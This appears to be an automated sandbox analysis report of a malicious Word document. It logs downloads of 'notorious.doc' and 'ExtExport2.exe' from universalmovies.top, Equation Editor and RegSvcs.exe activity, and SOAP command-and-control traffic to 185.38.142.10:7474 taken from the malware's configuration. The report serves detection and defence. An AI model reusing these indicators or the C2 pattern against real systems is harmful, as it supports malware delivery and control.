Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 185.38.142.10:7474

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 7474
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 7474
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 7474
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 7474
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49179

Source: global traffic

TCP traffic: 192.168.2.22:49176 -> 185.38.142.10:7474

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.38.142.10:7474Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.38.142.10:7474Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.38.142.10:7474Content-Length: 208913Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.38.142.10:7474Content-Length: 208905Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.162.95 172.67.162.95
Source: Joe Sandbox View	IP Address: 104.21.74.191 104.21.74.191

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: NETSOLUTIONSNL NETSOLUTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic	HTTP traffic detected: GET /notorious.doc HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: universalmovies.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ExtExport2.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: universalmovies.topConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49169 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49175 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.38.142.10

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_002A25E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

10_2_002A25E2

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{81A7FC9E-402C-4864-9B60-D1B944C96BBB}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /notorious.doc HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: universalmovies.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ExtExport2.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: universalmovies.topConnection: Keep-Alive

Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: universalmovies.top
Source: global traffic	DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.38.142.10:7474Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Https://universalmovies.top/ExtExport2.exeLMEMX
Source: RegSvcs.exe, 0000000C.00000002.439295292.0000000002493000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002353000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.38.142.10:7474
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.38.142.10:7474/
Source: RegSvcs.exe, 0000000C.00000002.439295292.0000000002493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.38.142.10:7474t-
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: RegSvcs.exe, 0000000C.00000002.439054948.0000000000037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.
Source: RegSvcs.exe, 0000000C.00000002.439977247.0000000004C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c/s
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: RegSvcs.exe, 0000000C.00000002.439295292.0000000002353000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
